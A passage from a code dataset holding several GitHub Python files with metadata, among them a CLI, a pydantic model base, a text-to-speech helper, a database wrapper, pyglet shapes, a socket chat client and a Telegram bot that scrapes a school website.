print(DISK_CONCEPT_DB.list())\n\n\n@click.group()\ndef cli() -> None:\n \"\"\"Lilac CLI.\"\"\"\n pass\n\n\ncli.add_command(version)\n\ncli.add_command(init_command, name='init')\ncli.add_command(load_command, name='load')\ncli.add_command(start)\n\ncli.add_command(deploy_project_command, name='deploy-project')\ncli.add_command(hf_docker_start_command, name='hf-docker-start')\n\ncli.add_command(concepts)\n\nif __name__ == '__main__':\n cli()\n", "repo_name": "lilacai/lilac", "sub_path": "lilac/cli.py", "file_name": "cli.py", "file_ext": "py", "file_size_in_byte": 6658, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 312, "dataset": "github-code", "pt": "71", "api": [{"api_name": "project.project_dir_from_args", "line_number": 32, "usage_type": "call"}, {"api_name": "project.dir_is_project", "line_number": 33, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 36, "usage_type": "call"}, {"api_name": "server.start_server", "line_number": 43, "usage_type": "call"}, {"api_name": "load.load", "line_number": 43, "usage_type": "name"}, {"api_name": "click.command", "line_number": 18, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 19, "usage_type": "call"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "click.option", "line_number": 26, "usage_type": "call"}, {"api_name": "click.option", "line_number": 27, "usage_type": "call"}, {"api_name": "project.project_dir_from_args", "line_number": 50, "usage_type": "call"}, {"api_name": "project.dir_is_project", "line_number": 51, "usage_type": "call"}, {"api_name": "click.prompt", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 54, "usage_type": "call"}, {"api_name": "project.init", "line_number": 61, "usage_type": "call"}, {"api_name": "click.command", "line_number": 46, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 47, "usage_type": "call"}, {"api_name": "env.get_project_dir", "line_number": 83, "usage_type": "call"}, {"api_name": "load.load", "line_number": 89, "usage_type": "call"}, {"api_name": "click.command", "line_number": 64, "usage_type": "call"}, {"api_name": "click.argument", "line_number": 65, "usage_type": "call"}, {"api_name": "click.option", "line_number": 66, "usage_type": "call"}, {"api_name": "click.option", "line_number": 73, "usage_type": "call"}, {"api_name": "click.command", "line_number": 92, "usage_type": "call"}, {"api_name": "hf_docker_start.hf_docker_start", "line_number": 101, "usage_type": "call"}, {"api_name": "click.command", "line_number": 98, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 176, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 181, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 181, "usage_type": "name"}, {"api_name": "typing.Literal", "line_number": 181, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 182, "usage_type": "name"}, {"api_name": "env.env", "line_number": 192, "usage_type": "call"}, {"api_name": "deploy.deploy_project", "line_number": 194, "usage_type": "call"}, {"api_name": "click.command", "line_number": 104, "usage_type": "call"}, {"api_name": "click.option", "line_number": 105, "usage_type": "call"}, {"api_name": "click.option", "line_number": 110, "usage_type": "call"}, {"api_name": "click.option", "line_number": 116, "usage_type": "call"}, {"api_name": "click.option", "line_number": 117, "usage_type": "call"}, {"api_name": "click.option", "line_number": 123, "usage_type": "call"}, {"api_name": "click.option", "line_number": 129, "usage_type": "call"}, {"api_name": "click.option", "line_number": 136, "usage_type": "call"}, {"api_name": "click.option", "line_number": 142, "usage_type": "call"}, {"api_name": "click.option", "line_number": 149, "usage_type": "call"}, {"api_name": "click.option", "line_number": 157, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 162, "usage_type": "call"}, {"api_name": "click.option", "line_number": 165, "usage_type": "call"}, {"api_name": "concepts.db_concept.DISK_CONCEPT_DB.list", "line_number": 212, "usage_type": "call"}, {"api_name": "concepts.db_concept.DISK_CONCEPT_DB", "line_number": 212, "usage_type": "name"}, {"api_name": "click.command", "line_number": 209, "usage_type": "call"}, {"api_name": "click.group", "line_number": 215, "usage_type": "call"}, {"api_name": "concepts.db_concept", "line_number": 230, "usage_type": "argument"}]} {"seq_id": "22575278228", "text": "\"\"\"Base Class for all Models in our System.\"\"\"\nfrom __future__ import annotations\n\n# IMPORT STANDARD LIBRARIES\nfrom datetime import date, datetime, time, timedelta\nfrom typing import Any, Callable, ClassVar, Optional, Type, TypeVar\n\n# IMPORT THIRD PARTY LIBRARIES\nimport pydantic\nfrom pydantic.datetime_parse import parse_date, parse_datetime, parse_duration, parse_time\n\n# IMPORT LOCAL LIBRARIES\nfrom lorgs import utils\n\n\nT = TypeVar(\"T\", bound=\"BaseModel\")\n\n\nCONVERTERS: dict[type, Callable] = {\n str: str,\n float: float,\n int: int,\n datetime: parse_datetime,\n date: parse_date,\n time: parse_time,\n timedelta: parse_duration,\n}\n\n\nclass BaseModel(pydantic.BaseModel):\n \"\"\"Base Class for all Models in our System.\"\"\"\n\n key: ClassVar[str] = \"{id}\"\n\n def post_init(self) -> None:\n \"\"\"Hook to implement some custom initialization logic.\"\"\"\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n self.post_init()\n\n @classmethod\n def construct(cls: Type[T], _fields_set=None, *, __recursive__=True, **values) -> T:\n # based on https://github.com/pydantic/pydantic/issues/1168\n if not __recursive__:\n return super().construct(_fields_set, **values)\n\n m = cls.__new__(cls)\n\n fields_values: dict[str, Any] = {}\n for name, field in cls.__fields__.items():\n if name in values:\n value = values[name]\n\n # Field is a nested Model\n if issubclass(field.type_, BaseModel):\n\n if field.shape == 2: # SHAPE_LIST\n fields_values[name] = [field.type_.construct(**v, __recursive__=True) for v in value]\n else:\n fields_values[name] = field.outer_type_.construct(**value, __recursive__=True)\n else:\n converter = CONVERTERS.get(field.type_)\n if converter:\n if field.shape == 2: # SHAPE_LIST\n fields_values[name] = [converter(v) for v in value]\n else:\n fields_values[name] = converter(value)\n else:\n fields_values[name] = value\n\n elif not field.required:\n fields_values[name] = field.get_default()\n\n object.__setattr__(m, \"__dict__\", fields_values)\n if _fields_set is None:\n _fields_set = set(values.keys())\n object.__setattr__(m, \"__fields_set__\", _fields_set)\n m._init_private_attributes()\n m.post_init()\n return m\n\n @classmethod\n def get_table_name(cls) -> str:\n return utils.to_snake_case(cls.__name__)\n\n @classmethod\n def get_key(cls, **kwargs) -> str:\n \"\"\"Generate a `key` based on the given `kwargs`.\"\"\"\n kwargs.setdefault(\"table_name\", cls.get_table_name())\n return cls.key.format(**kwargs)\n\n @classmethod\n def get(cls: Type[T], **kwargs: Any) -> Optional[T]:\n ...\n\n @classmethod\n def get_or_create(cls: Type[T], **kwargs: Any) -> T:\n return cls.get(**kwargs) or cls(**kwargs)\n\n def save(self) -> None:\n ...\n", "repo_name": "gitarrg/lorgs", "sub_path": "lorgs/models/base/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 3215, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TypeVar", "line_number": 16, "usage_type": "call"}, {"api_name": "typing.Callable", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 24, "usage_type": "name"}, {"api_name": "datetime.time", "line_number": 25, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 26, "usage_type": "name"}, {"api_name": "pydantic.datetime_parse.parse_datetime", "line_number": 23, "usage_type": "name"}, {"api_name": "pydantic.datetime_parse.parse_date", "line_number": 24, "usage_type": "name"}, {"api_name": "pydantic.datetime_parse.parse_time", "line_number": 25, "usage_type": "name"}, {"api_name": "pydantic.datetime_parse.parse_duration", "line_number": 26, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 30, "usage_type": "attribute"}, {"api_name": "typing.ClassVar", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 50, "usage_type": "name"}, {"api_name": "lorgs.utils.to_snake_case", "line_number": 85, "usage_type": "call"}, {"api_name": "lorgs.utils", "line_number": 85, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 98, "usage_type": "name"}]} {"seq_id": "28612563411", "text": "from google.cloud import texttospeech\nimport vlc\nimport time\nimport os\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = 'secrets/text2speech_token.json'\n\n\ndef narrate(text):\n client = texttospeech.TextToSpeechClient()\n\n synthesis_input = texttospeech.SynthesisInput(text=text)\n\n voice = texttospeech.VoiceSelectionParams(\n language_code='en-US',\n ssml_gender=texttospeech.SsmlVoiceGender.FEMALE)\n\n audio_config = texttospeech.AudioConfig(\n audio_encoding=texttospeech.AudioEncoding.MP3)\n\n response = client.synthesize_speech(\n input=synthesis_input, voice=voice, audio_config=audio_config)\n\n with open('output.mp3', 'wb') as out:\n out.write(response.audio_content)\n print('Audio content written to file \"output.mp3\"')\n\n player = vlc.MediaPlayer('output.mp3')\n player.play()\n time.sleep(3)\n while player.is_playing():\n time.sleep(1)\n", "repo_name": "aneeshsharma/Webscraping-Wikipedia", "sub_path": "narrate.py", "file_name": "narrate.py", "file_ext": "py", "file_size_in_byte": 910, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "google.cloud.texttospeech.TextToSpeechClient", "line_number": 10, "usage_type": "call"}, {"api_name": "google.cloud.texttospeech", "line_number": 10, "usage_type": "name"}, {"api_name": "google.cloud.texttospeech.SynthesisInput", "line_number": 12, "usage_type": "call"}, {"api_name": "google.cloud.texttospeech", "line_number": 12, "usage_type": "name"}, {"api_name": "google.cloud.texttospeech.VoiceSelectionParams", "line_number": 14, "usage_type": "call"}, {"api_name": "google.cloud.texttospeech", "line_number": 14, "usage_type": "name"}, {"api_name": "google.cloud.texttospeech.SsmlVoiceGender", "line_number": 16, "usage_type": "attribute"}, {"api_name": "google.cloud.texttospeech", "line_number": 16, "usage_type": "name"}, {"api_name": "google.cloud.texttospeech.AudioConfig", "line_number": 18, "usage_type": "call"}, {"api_name": "google.cloud.texttospeech", "line_number": 18, "usage_type": "name"}, {"api_name": "google.cloud.texttospeech.AudioEncoding", "line_number": 19, "usage_type": "attribute"}, {"api_name": "google.cloud.texttospeech", "line_number": 19, "usage_type": "name"}, {"api_name": "vlc.MediaPlayer", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}]} {"seq_id": "36750114683", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 10 20:48:46 2021\n\n@author: backp\n\"\"\"\n\nimport sqlite3\nimport mysql.connector\n\nclass Database:\n def __init__(self,typeOfDatabase = \"sqllite\"): \n if (typeOfDatabase == \"sqllite\"):\n print(\"sqlite\")\n self.__conn = sqlite3.connect('MountainWeather.db')\n self.__c = self.__conn.cursor()\n if (typeOfDatabase == \"mysql\"):\n try:\n print(\"mysql\")\n \n self.__conn = mysql.connector.connect(\n host=\"localhost\",\n # user=\"root\",\n user='User2',\n password=\"whatever you want as your pass word\",\n database=\"MountainWeather\"\n ) \n self.__c = self.__conn.cursor()\n # with connect(\n # host = \"localhost\",\n # user = \"root\",\n # password = \"\"whatever you want as your pass word\",\n # database = 'MountainWeather',\n # # user=input(\"Enter username: \"),\n # # password=getpass(\"Enter password: \")\n # ) as self.__conn:\n # self.__c = self.__conn.cursor()\n \n except Exception as e:\n print(\"failed\",e)\n \n def deleteAll(self,table):\n \"\"\"\n \n Input\n Table which is a string and name of the table to delete\n \n Returns nothing(void) \n \n \"\"\" \n \n conn = self.__conn\n c = self.__c \n c.execute(\"delete from \" + table)\n conn.commit()\n \n def deleteRecord(self,table,MN,Date):\n \"\"\"\n \n Input\n Table which is a string and name of the table\n MN is a string which is the name of the moutain\n Date is a date in string form\n \n All the 3 arguments are used to make the where clause to\n delete the specific record.\n \n Returns nothing(void) \n \n \"\"\" \n \n conn = self.__conn\n c = self.__c \n \n sql = \"delete from \" + table + \" WHERE MOUNTAIN_NAME=\" + \"'\" + MN + \"'\" + \" and DATE=\" + \"'\" + Date + \"'\"\n c.execute(sql)\n conn.commit()\n \n def insertRecords(self,sql1,sql2):\n \"\"\"\n \n Input\n sql1 which is a string representing part of an SQL statement that will be\n executed\n \n sql2 which is a string representing the other part of an SQL statement that \n will be executed\n \n Returns nothing(void) \n \n \"\"\" \n \n conn = self.__conn\n c = self.__c\n c.executemany(sql1,sql2)\n conn.commit()\n \n \n def returnRecords(self,sql):\n \"\"\"\n \n Input\n sql which is a string representing Select SQL statement that will be\n executed\n \n Returns an array(list) formed from the executed SQL statements resulting\n in records that are then transformed inot an array(list)\n \n \"\"\" \n \n c = self.__c \n c.execute(sql)\n rows = c.fetchall() \n arr = []\n for row in rows:\n item = []\n item.append(row[0])\n item.append(row[1])\n arr.append(item)\n return(arr)\n \n def returnDictionary(self,sql):\n \"\"\"\n \n Input\n sql which is a string representing Select SQL statement that will be\n executed\n \n Returns an dictionary formed from the executed SQL statements resulting\n in records that are then transformed inot a dictionary\n \n \"\"\" \n \n c = self.__c \n c.execute(sql)\n rows = c.fetchall() \n arr = {}\n for row in rows:\n arr[row[0]] = row[1]\n return(arr)\n \n def selectRecords(self,sql):\n \"\"\"\n \n Input\n sql which is a string representing Select SQL statement that will be\n executed\n \n Returns void(nothing)\n \n \"\"\" \n \n c = self.__c \n c.execute(sql)\n rows = c.fetchall() \n for row in rows:\n print(row)\n \n def close(self):\n conn = self.__conn\n conn.close()\n\n\n \n \n\n\n\n\n\n \n \n\n\n", "repo_name": "dlund9182/MountainWeatherTracker", "sub_path": "Database.py", "file_name": "Database.py", "file_ext": "py", "file_size_in_byte": 4437, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sqlite3.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "mysql.connector.connector.connect", "line_number": 21, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 21, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 21, "usage_type": "name"}]} {"seq_id": "24442033230", "text": "import numpy as np\nimport pyglet\n\nimport sys\nsys.path.append('../')\nimport colors\n\nclass Geometry():\n \"\"\" Base class for objects defined by sets of vertices. \"\"\"\n\n def __init__(self, vertices, color=colors.WHITE):\n # vertices are a numpy array where each row is the coordinates of one vertex\n self.vertices = np.asarray(vertices, dtype=np.float64)\n self.color = color\n \n \"\"\" RENDERING \"\"\"\n def draw(self, drawType):\n int_vertices = self.vertices.astype(int)\n gl_vertices = tuple(int_vertices.flatten().tolist())\n n_vertices = int(len(gl_vertices)/2)\n int_colors = tuple(map(int, self.color))*n_vertices\n\n try:\n pyglet.graphics.draw(\n n_vertices,\n drawType,\n ('v2i', gl_vertices),\n ('c4B', int_colors)\n )\n except Exception as exception:\n print(exception)\n pass\n\n \"\"\" TRANFORMATIONS \"\"\"\n def translate(self, vector):\n # numpy adds vector to each row in vertices when used as follows\n self.vertices += vector\n self.center += vector\n\n def rotate(self, angle):\n # translate vertices to center\n self.vertices = self.vertices - self.center\n\n # rotate\n rotation = Polygon.rotationMatrix(angle)\n self.vertices = np.transpose(self.vertices)\n self.vertices = rotation@self.vertices\n self.vertices = np.transpose(self.vertices)\n\n # return to original position\n self.vertices = self.vertices + self.center\n\n def scale(self, scale, x=True, y=True, z=True):\n # translate vertices to center\n self.vertices = self.vertices - self.center\n\n #rescale\n self.vertices *= scale\n\n # return to original position\n self.vertices = self.vertices + self.center\n\n @staticmethod\n def rotationMatrix(angle):\n return np.array([[np.cos(angle), -np.sin(angle)],\n [np.sin(angle), np.cos(angle)]])\n\n\nclass Points(Geometry):\n \"\"\" Simple set of points. \"\"\"\n def draw(self):\n super().draw(pyglet.gl.GL_POINTS)\n\nclass Shape(Geometry):\n \"\"\" Base class for shapes. \"\"\"\n def draw(self, filled=False):\n super().draw(pyglet.gl.GL_POLYGON if filled else pyglet.gl.GL_LINE_LOOP)\n\nclass Polygon(Shape):\n def __init__(self, vertices, color=colors.WHITE):\n super().__init__(vertices, color)\n # average coordinate gives center\n self.center = np.average(vertices, axis=0)\n\nclass Ellipse(Shape):\n\n def __init__(self, center, major, minor, n_vertices=100, color=colors.WHITE):\n self.center = np.asarray(center, dtype=np.float64)\n\n # n_vertices determines the number of lines used to render the ellipse\n self.vertices = np.empty((n_vertices, 2), dtype=np.float64)\n for row, angle in enumerate(np.linspace(0, 2*np.pi, n_vertices)):\n point = center + np.asarray([major*np.cos(angle), minor*np.sin(angle)])\n self.vertices[row] = point\n\n self.color = color\n\nclass Circle(Ellipse):\n \"\"\" Subclass of ellipse. \"\"\"\n def __init__(self, center, radius, color=colors.WHITE, n_vertices=100):\n super().__init__(center, radius, radius, color=color, n_vertices=n_vertices)\n\nclass Boomerang(Shape):\n # odd parametric curve with 'boomerang' shape... useful for the open set {A, C} in the 'topologies on three points' videos\n\n def __init__(self, center, width, height, spread, n_vertices=100, color=colors.WHITE):\n self.center = np.asarray(center, dtype=np.float64)\n\n # n_vertices determines the number of lines used to render the ellipse\n self.vertices = np.empty((n_vertices, 2), dtype=np.float64)\n for row, angle in enumerate(np.linspace(0, 2*np.pi, n_vertices)):\n point = center + np.asarray([width*(np.sin(angle)-np.cos(angle)), # x coordinate\n height*np.sin(2*angle)-spread*(np.sin(angle)+np.cos(angle))]) # y coordinate\n self.vertices[row] = point\n\n self.color = color", "repo_name": "alexkoziell/AniMath", "sub_path": "geometry/shape.py", "file_name": "shape.py", "file_ext": "py", "file_size_in_byte": 4070, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "colors.WHITE", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.draw", "line_number": 24, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.transpose", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 66, "usage_type": "call"}, {"api_name": "pyglet.gl", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pyglet.gl", "line_number": 77, "usage_type": "attribute"}, {"api_name": "colors.WHITE", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.average", "line_number": 83, "usage_type": "call"}, {"api_name": "colors.WHITE", "line_number": 87, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 88, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 92, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 92, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 93, "usage_type": "call"}, {"api_name": "colors.WHITE", "line_number": 100, "usage_type": "attribute"}, {"api_name": "colors.WHITE", "line_number": 106, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 107, "usage_type": "attribute"}, {"api_name": "numpy.empty", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 110, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 113, "usage_type": "call"}]} {"seq_id": "19481686586", "text": "import socket\nimport select\nimport sys\nimport instantmessage_pb2\nimport argparse\nimport struct\n\nif __name__ == \"__main__\":\n # Code from tutorial\n parser = argparse.ArgumentParser()\n parser.add_argument('-s', dest='servername', help='your client\\'s hostname', required=True)\n parser.add_argument('-n', dest='nickname', help='your nickname', required=True)\n args = parser.parse_args()\n client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n client_socket.connect((args.servername, 9999))\n\n read_handles = [sys.stdin, client_socket]\n try:\n while True:\n read_list, _, _ = select.select(read_handles, [], [])\n\n for s in read_list:\n # Receive message from server\n if s == client_socket:\n total_length = 0\n while total_length < 4:\n message_length = s.recv(4)\n total_length += len(message_length)\n if message_length:\n data = ''\n message_length = struct.unpack('>I', message_length)[0]\n data_length = 0\n while data_length < message_length:\n chunk = s.recv(8192).decode('ISO-8859-1')\n if not chunk:\n data = None\n break\n else:\n data += chunk\n data_length += len(chunk)\n instant_message = instantmessage_pb2.InstantMessage()\n instant_message.ParseFromString(data.encode('ISO-8859-1'))\n print(\"%s: %s\\n\" % (instant_message.nickname, instant_message.msg), flush=True)\n # Client input from keyboard\n else:\n message = sys.stdin.readline()\n # Client exit the chat room by input exit or Exit or eXit ...\n if message.strip().lower() == 'exit':\n client_socket.close()\n sys.exit()\n # Client input message and we serialize it and then send it to server\n else:\n instant_message = instantmessage_pb2.InstantMessage()\n instant_message.nickname = args.nickname\n instant_message.msg = message.strip()\n msg = instant_message.SerializeToString()\n client_socket.sendall(struct.pack('>I', len(msg)) + msg)\n except KeyboardInterrupt:\n client_socket.close()\n sys.exit()\n\n", "repo_name": "fzEro555/basicIM", "sub_path": "basicIMclient.py", "file_name": "basicIMclient.py", "file_ext": "py", "file_size_in_byte": 2708, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 10, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 14, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 14, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 17, "usage_type": "attribute"}, {"api_name": "select.select", "line_number": 20, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 31, "usage_type": "call"}, {"api_name": "instantmessage_pb2.InstantMessage", "line_number": 41, "usage_type": "call"}, {"api_name": "sys.stdin.readline", "line_number": 46, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 46, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 50, "usage_type": "call"}, {"api_name": "instantmessage_pb2.InstantMessage", "line_number": 53, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 57, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 60, "usage_type": "call"}]} {"seq_id": "12756188941", "text": "from bs4 import BeautifulSoup\nimport botogram\nimport requests\nimport urllib\n\nfrom . import models\n\n\nREQUESTS_HEADERS = {\n \"User-Agent\": \"Mozilla/5.0 (compatible; TelegramSchoolBot/2.0; \"\n \"+https://github.com/paolobarbolini/TelegramSchoolBot)\",\n}\n\n\nclass Tasks(botogram.components.Component):\n \"\"\"All of the TelegramSchoolBot tasks\"\"\"\n\n component_name = \"tsb-tasks\"\n\n def __init__(self, config, db):\n self.config = config\n self.db = db\n\n self.add_timer(1200, self.run)\n\n def query_main_page(self):\n response = requests.get(self.config[\"school_website\"],\n headers=REQUESTS_HEADERS)\n if response.status_code != 200:\n raise ValueError(\"Failed to query the main page,\"\n \" server responded with response code: %i\" %\n response.status_code)\n\n if \"text/html\" not in response.headers['Content-Type']:\n print(\"Failed to query the main page,\"\n \" server responded with content type: %s\" %\n response.headers['Content-Type'])\n return None\n\n parsed_html = BeautifulSoup(response.text, \"html.parser\")\n\n # Find the url of the calendar article\n calendar_articles = []\n left_content = parsed_html.find(\"div\", {\"id\": \"jsn-pleft\"})\n left_links = left_content.find_all(\"a\")\n for link in left_links:\n tag = link.find(\"span\")\n if tag is None:\n continue\n\n text = tag.text\n if not (\"Orario\" in text and \"lezioni\" in text):\n continue\n\n url = urllib.parse.urljoin(self.config[\"school_website\"],\n link.get(\"href\"))\n calendar_articles.append(url)\n\n # Generate the list of posts\n posts = []\n post_titles = parsed_html.find_all(\"h2\", {\"class\": \"contentheading\"})\n post_urls = parsed_html.find_all(\"p\", {\"class\": \"readmore\"})\n for i in range(0, len(post_urls)):\n title = post_titles[i].text.strip()\n url = urllib.parse.urljoin(self.config[\"school_website\"],\n post_urls[i].find(\"a\").get(\"href\"))\n posts.append(models.Post(url=url, title=title))\n\n return calendar_articles, posts\n\n def query_calendar_article(self, url):\n response = requests.get(url, headers=REQUESTS_HEADERS)\n if response.status_code != 200:\n raise ValueError(\"Failed to query the calendar article page,\"\n \" server responded with response code: %i\" %\n response.status_code)\n\n if \"text/html\" not in response.headers['Content-Type']:\n print(\"Failed to query the calendar article page,\"\n \" server responded with content type: %s\" %\n response.headers['Content-Type'])\n return None\n\n # Find the url of the orario facile page\n parsed_html = BeautifulSoup(response.text, \"html.parser\")\n post_content = parsed_html.find(\"div\", {\"id\": \"jsn-mainbody\"})\n post_urls = post_content.find_all(\"a\")\n for link in post_urls:\n href = link.get(\"href\")\n lower_href = href.lower()\n if not lower_href.startswith(\"/web_orario\") and\\\n not lower_href.startswith(\"/weborario\"):\n continue\n\n # For some reason they decided to hide old links\n # instead of removing them, but the bot doesn't know the difference\n # so it would never pick up the new calendar url\n # Sometimes i think that they are fucking with us.\n if len(link.getText()) < 3:\n continue\n\n calendar_url = urllib.parse.urljoin(url, href)\n return calendar_url\n\n def query_calendar(self, url):\n response = requests.get(url, headers=REQUESTS_HEADERS)\n if response.status_code != 200:\n raise ValueError(\"Failed to query the calendar page,\"\n \" server responded with response code: %i\" %\n response.status_code)\n\n if \"text/html\" not in response.headers['Content-Type']:\n print(\"Failed to query the calendar page,\"\n \" server responded with content type: %s\" %\n response.headers['Content-Type'])\n return None\n\n pages = []\n # Generate the list of pages about classes, teachers and classrooms\n parsed_html = BeautifulSoup(response.text, \"html.parser\")\n links = parsed_html.find_all(\"a\")\n for link in links:\n href = link.get(\"href\")\n\n if href.startswith(\"Classi/\"):\n type = \"class\"\n elif href.startswith(\"Docenti/\"):\n type = \"teacher\"\n elif href.startswith(\"Aule/\"):\n type = \"classroom\"\n else:\n continue\n\n pages.append(models.Page(type=type, name=link.text,\n url=urllib.parse.urljoin(url, href)))\n\n return pages\n\n def update_pages_table(self, pages):\n session = self.db.Session()\n\n database_pages = session.query(models.Page).all()\n database_pages = list(database_pages)\n\n # Add missing pages\n for page in pages:\n exists = any(page.type == database_page.type and\n page.name == database_page.name and\n page.url == database_page.url for\n database_page in database_pages)\n if not exists:\n session.add(page)\n\n # Remove removed pages\n for database_page in database_pages:\n exists = any(page.type == database_page.type and\n page.name == database_page.name and\n page.url == database_page.url for\n page in pages)\n if not exists:\n session.delete(database_page)\n\n session.commit()\n\n def update_posts_table_and_notify(self, bot, posts):\n writes = []\n\n session = self.db.Session()\n post_urls = [post.url for post in posts]\n database_posts = session.query(models.Post).\\\n filter(models.Post.url.in_(post_urls))\n database_posts = list(database_posts)\n\n for local_post in posts:\n if not any(local_post.url == database_post.url for\n database_post in database_posts):\n writes.append(local_post)\n\n if len(writes) == 0:\n return\n\n # Generate the text of the message\n messages = []\n if len(writes) == 1:\n messages.append(\"È uscito il seguente articolo:\")\n else:\n messages.append(\"Sono usciti i seguenti articoli:\")\n\n for write in writes:\n messages.append(\"▪️ %s\" %\n (write.url, write.title))\n\n message = \"\\n\".join(messages)\n\n # Send the message to the subscribers\n for subscriber in session.query(models.Subscriber).all():\n try:\n chat = bot.chat(subscriber.chat_id)\n chat.send(message)\n except botogram.api.ChatUnavailableError as e:\n print(\"ChatUnavailableError - Removing subscriber\",\n subscriber.chat_id, str(e))\n session.delete(subscriber)\n except botogram.api.APIError as e:\n # This should fall under the ChatUnavailableError\n # but botogram doesnt recognize it\n if \"deactivated\" in e.description:\n print(\"APIError - Removing subscriber\",\n subscriber.chat_id, e.description)\n session.delete(subscriber)\n else:\n print(e)\n\n for write in writes:\n session.add(write)\n\n # Commit new pages only at this point because it's better sending\n # a notification more than one time rather than skipping some\n # users because of an unexpected error\n session.commit()\n\n def run(self, bot):\n calendar_articles, posts = self.query_main_page()\n\n # This default makes all of the classes, teachers and classrooms\n # go away if we can't find the page listing them\n calendar_pages = []\n for article in calendar_articles:\n calendar_url = self.query_calendar_article(article)\n\n if calendar_url is None:\n continue\n\n calendar_pages = self.query_calendar(calendar_url)\n break\n\n self.update_pages_table(calendar_pages)\n self.update_posts_table_and_notify(bot, posts)\n", "repo_name": "paolobarbolini/TelegramSchoolBot", "sub_path": "telegramschoolbot/tasks.py", 